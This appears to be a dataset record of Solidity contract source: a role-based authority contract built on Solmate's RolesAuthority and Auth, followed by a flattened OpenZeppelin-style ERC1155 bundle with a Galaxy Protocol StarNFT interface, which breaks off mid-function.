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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "@rari-capital/solmate/src/auth/authorities/RolesAuthority.sol";
contract QuantumAuthority is RolesAuthority {
constructor(address owner) RolesAuthority(owner, Authority(address(0))) {}
/// @notice For multiples users, set the status of a role
/// @dev the role has to belong to the Roles enum
/// @param users users
/// @param role role
/// @param enabled to enable or not
function setMultipleUsers(address[] calldata users, uint8 role, bool enabled) public requiresAuth {
for(uint i = 0; i < users.length; i++) {
setUserRole(users[i], role, enabled);
}
}
/// @notice For one role, define an array of capabilities (functions it can call)
/// @dev the role has to belong to the Roles enum
/// @param target address of contract whose functions will be used
/// @param role role
/// @param functionSigs signatures of functions (4 bytes)
/// @param enabled to enable or not
function setRoleWithMultipleCapability(address target, uint8 role, bytes4[] calldata functionSigs, bool enabled) public requiresAuth {
for(uint i = 0; i < functionSigs.length; i++) {
setRoleCapability(role, target, functionSigs[i], enabled);
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Auth, Authority} from "../Auth.sol";
/// @notice Role based Authority that supports up to 256 roles.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/RolesAuthority.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-roles/blob/master/src/roles.sol)
contract RolesAuthority is Auth, Authority {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);
event PublicCapabilityUpdated(address indexed target, bytes4 indexed functionSig, bool enabled);
event RoleCapabilityUpdated(uint8 indexed role, address indexed target, bytes4 indexed functionSig, bool enabled);
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/*///////////////////////////////////////////////////////////////
ROLE/USER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => bytes32) public getUserRoles;
mapping(address => mapping(bytes4 => bool)) public isCapabilityPublic;
mapping(address => mapping(bytes4 => bytes32)) public getRolesWithCapability;
function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {
return (uint256(getUserRoles[user]) >> role) & 1 != 0;
}
function doesRoleHaveCapability(
uint8 role,
address target,
bytes4 functionSig
) public view virtual returns (bool) {
return (uint256(getRolesWithCapability[target][functionSig]) >> role) & 1 != 0;
}
/*///////////////////////////////////////////////////////////////
AUTHORIZATION LOGIC
//////////////////////////////////////////////////////////////*/
function canCall(
address user,
address target,
bytes4 functionSig
) public view virtual override returns (bool) {
return
isCapabilityPublic[target][functionSig] ||
bytes32(0) != getUserRoles[user] & getRolesWithCapability[target][functionSig];
}
/*///////////////////////////////////////////////////////////////
ROLE CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setPublicCapability(
address target,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
isCapabilityPublic[target][functionSig] = enabled;
emit PublicCapabilityUpdated(target, functionSig, enabled);
}
function setRoleCapability(
uint8 role,
address target,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getRolesWithCapability[target][functionSig] |= bytes32(1 << role);
} else {
getRolesWithCapability[target][functionSig] &= ~bytes32(1 << role);
}
emit RoleCapabilityUpdated(role, target, functionSig, enabled);
}
/*///////////////////////////////////////////////////////////////
USER ROLE ASSIGNMENT LOGIC
//////////////////////////////////////////////////////////////*/
function setUserRole(
address user,
uint8 role,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getUserRoles[user] |= bytes32(1 << role);
} else {
getUserRoles[user] &= ~bytes32(1 << role);
}
emit UserRoleUpdated(user, role, enabled);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
|
True
|
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// SPDX-License-Identifier: Apache License, Version 2.0
pragma solidity 0.7.6;
// Part: Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: ERC165
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// Part: IERC1155
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// Part: IERC1155Receiver
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// Part: Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: IERC1155MetadataURI
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// Part: IStarNFT
/**
* @title IStarNFT
* @author Galaxy Protocol
*
* Interface for operating with StarNFTs.
*/
interface IStarNFT is IERC1155 {
/* ============ Events =============== */
// event PowahUpdated(uint256 indexed id, uint256 indexed oldPoints, uint256 indexed newPoints);
/* ============ Functions ============ */
function isOwnerOf(address, uint256) external view returns (bool);
// function starInfo(uint256) external view returns (uint128 powah, uint128 mintBlock, address originator);
// function quasarInfo(uint256) external view returns (uint128 mintBlock, IERC20 stakeToken, uint256 amount, uint256 campaignID);
// function superInfo(uint256) external view returns (uint128 mintBlock, IERC20[] memory stakeToken, uint256[] memory amount, uint256 campaignID);
// mint
function mint(address account, uint256 powah) external returns (uint256);
function mintBatch(address account, uint256 amount, uint256[] calldata powahArr) external returns (uint256[] memory);
function burn(address account, uint256 id) external;
function burnBatch(address account, uint256[] calldata ids) external;
// asset-backing mint
// function mintQuasar(address account, uint256 powah, uint256 cid, IERC20 stakeToken, uint256 amount) external returns (uint256);
// function burnQuasar(address account, uint256 id) external;
// asset-backing forge
// function mintSuper(address account, uint256 powah, uint256 campaignID, IERC20[] calldata stakeTokens, uint256[] calldata amounts) external returns (uint256);
// function burnSuper(address account, uint256 id) external;
// update
// function updatePowah(address owner, uint256 id, uint256 powah) external;
}
// Part: ERC1155
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using SafeMath for uint256;
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/*
* bytes4(keccak256('uri(uint256)')) == 0x0e89341c
*/
bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) public {
_setURI(uri_);
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
// register the supported interfaces to conform to ERC1155MetadataURI via ERC165
_registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) external view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer");
_balances[id][to] = _balances[id][to].add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from].sub(
amount,
"ERC1155: insufficient balance for transfer"
);
_balances[id][to] = _balances[id][to].add(amount);
}
